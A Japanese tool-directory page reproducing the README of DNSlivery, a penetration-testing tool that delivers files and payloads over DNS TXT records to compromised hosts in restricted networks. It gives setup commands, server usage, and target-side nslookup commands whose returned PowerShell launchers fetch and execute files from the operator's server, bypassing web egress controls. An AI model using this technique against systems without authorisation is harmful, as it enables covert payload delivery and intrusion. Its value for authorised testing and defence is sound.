Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
DNSlivery — DNSを介したファイルとペイロードの簡単な配信 | Kitploit
ツール/GitHubGitHub/no0be/dnslivery
データ流出ペネトレーションテストコマンド&コントロールDNS分析
GitHubno0be/dnslivery

DNSlivery

DNSを介したファイルとペイロードの簡単な配信

リポジトリを見る
426777ヶ月前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

python-3.7 Known Vulnerabilities

DNSlivery

DNSを使用したファイルとペイロードの簡単な配信

  • DNSlivery
  • 謝辞
  • 説明
    • TL;DR
    • 解決しようとしている問題は何ですか?
    • どのように動作しますか?
    • 要件
  • セットアップ
    • DNSゾーン
    • DNSlivery
  • 使用方法
    • サーバー
    • ターゲット

謝辞

このプロジェクトは、PowerDNS と Joff Thyer 氏が Paul's Security Weekly ポッドキャスト #590 (youtu.be/CP6cIwFJswQ) で行った技術セグメントに着想を得ています。

説明

TL;DR

DNSlivery は、DNS を転送プロトコルとして使用し、ターゲットにファイルを配信できるようにします。

機能:

  • ファイルをターゲットに表示、実行、または保存できます
  • ターゲットにクライアントは必要ありません
  • 本格的な DNS サーバーは不要です

demo-target.git

解決しようとしている問題は何ですか?

従来の Web 経由の配信が不可能な、制限された環境にある侵害済みターゲットに、専用のクライアントソフトウェアを必要とせずに ファイルやペイロードを簡単に配信します。これは、発信 Web トラフィックが禁止されているか、好奇の Web プロキシによって検査される制限環境に適用されます。

web-delivery-blocked.png

より完全な DNS トンネリングツール(例:dnscat2、iodine)はすでに存在しますが、いずれもターゲット上で専用クライアントを実行する必要があります。問題は、このような制限環境では、クライアントを配信する方法が DNS 以外にない可能性が高いことです。言い換えれば、これらのツールで DNS 通信チャネルを構築するには、すでに DNS 通信チャネルが存在している必要があります。

対照的に、DNSlivery はサーバーからターゲットへの一方向通信のみを提供しますが、そのために専用クライアントは必要ありません。したがって、DNS 経由で信頼性の高い双方向通信チャネルを構築する必要がある場合は、DNSlivery を使用して、より高度な DNS トンネリングツールのクライアントをターゲットに配信してください。

どのように動作しますか?

ほとんどの DNS トンネリングツールと同様に、DNSlivery は TXT レコードを使用してファイルの内容を base64 表現で保存します。ただし、動作のために本格的な DNS サーバーをセットアップする必要はありません。代わりに、scapy ライブラリを使用して受信 DNS パケットをリッスンし、希望する応答を生成します。

network-process.png

ほとんどのファイルは単一の TXT レコードに収まらないため、DNSlivery はファイルの base64 チャンクを含む複数の順序付けられたレコードを作成します。例として、上図は file という名前のファイルの 42 番目のチャンクの配信を示しています。

ターゲット上で専用クライアントを必要とせずにすべての base64 チャンクを取得して結合するために、DNSlivery は各ファイルに対して以下を生成します。

  • シンプルな平文ランチャー
  • 信頼性の高い base64 エンコードされたステージャー

two-stages-delivery.png

この 2 段階の配信プロセスは、単一の TXT レコードに収まらないステージャーの機能(紛失した DNS 応答の処理など)を追加するために必要です。

ターゲット互換性に関する注意

現在、PowerShell ターゲットのみがサポートされています。ただし、DNSlivery は bash や Python などの追加ターゲットをサポートするように改善できる可能性があります。この機能の実装をご希望の場合は、@no0be までお知らせください。

要件

DNSlivery は複雑なサーバーインフラストラクチャを構築する必要はありません。実際、必要なのは次の 2 つの単純な要件のみです。

  • 公開 DNS ゾーンに NS レコードを作成できること
  • インターネットからの udp/53 トラフィックを受信できる Linux サーバーがあること

セットアップ

DNSゾーン

最初のステップは、ドメインに新しい NS レコードを作成して、DNSlivery を実行するサーバーにサブドメインを委任することです。例として、サブドメイン dnsd.no0.be をサーバー vps.no0.be に委任するために、以下のレコードを作成しました。

root@kitploit:~
dnsd    IN  NS vps.no0.be.

ゾーンがサードパーティのプロバイダーによって管理されている場合は、そのプロバイダーのドキュメントを参照して NS レコードを作成してください。

DNSlivery

DNSlivery を実行するために必要なのは、python3 とその scapy ライブラリのみです。

root@kitploit:~
git clone https://github.com/no0be/DNSlivery.git && cd DNSlivery
pip install -r requirements.txt

使用方法

サーバー

DNSlivery は指定されたディレクトリ(デフォルトは pwd)のすべてのファイルを提供し、root 権限で実行して着信 udp/53 パケットをリッスンする必要があります。

root@kitploit:~
usage: dnslivery.py [-h] [-p PATH] [-s SIZE] [-v] interface domain nameserver

DNSlivery - Easy files and payloads delivery over DNS

positional arguments:
  interface             DNS トラフィックをリッスンするインターフェース
  domain                DNS ゾーンの完全修飾ドメイン名(FQDN)
  nameserver            DNSlivery を実行するサーバーの完全修飾ドメイン名(FQDN)

optional arguments:
  -h, --help            このヘルプメッセージを表示して終了
  -p PATH, --path PATH  DNS 経由で提供するディレクトリのパス(デフォルト: pwd)
  -s SIZE, --size SIZE  base64 チャンクのサイズ(バイト)(デフォルト: 255)
  -v, --verbose         詳細出力を増やす

例:

root@kitploit:~
$ sudo python3 dnslivery.py eth0 dnsd.no0.be vps.no0.be -p /tmp/dns-delivery

DNSlivery - Easy files and payloads delivery over DNS

[*] File "file" ready for delivery at file.dnsd.no0.be (7 chunks)
[*] Listening for DNS queries...

ファイル名の正規化に関する注意

ドメイン名に許可される文字セットは UNIX ファイル名よりもはるかに制限されているため(RFC1035 による)、DNSlivery は必要に応じて正規化を実行します。

例:

root@kitploit:~
[*] File "My Awesome Powershell Script ;).ps1" ready for delivery at my-awesome-powershell-script----ps1.dnsd.no0.be (1891 chunks)

現在の正規化コードは完全ではなく、ファイル名の重複やサイズ制限を考慮していないことに注意してください。

ターゲット

ターゲット上では、まず目的のファイルのランチャーを取得するために、専用の TXT レコードを要求します。以下の 3 つのランチャーがサポートされています。

アクション
root@kitploit:~
nslookup -type=txt [filename].[stager].[domain]

その後、DNS 応答で引用されているランチャーを PowerShell コンソールにコピー&ペースト するだけで、ターゲット上でファイルを取得できます。

例:

demo-target.git

ツールをダウンロード
ランチャー
説明
表示[filename].print.[domain](デフォルト)配信されたファイルをコンソールに表示
実行[filename].exec.[domain]配信されたファイルを実行(スクリプトに便利)
保存[filename].save.[domain]配信されたファイルをディスクに保存(バイナリに便利)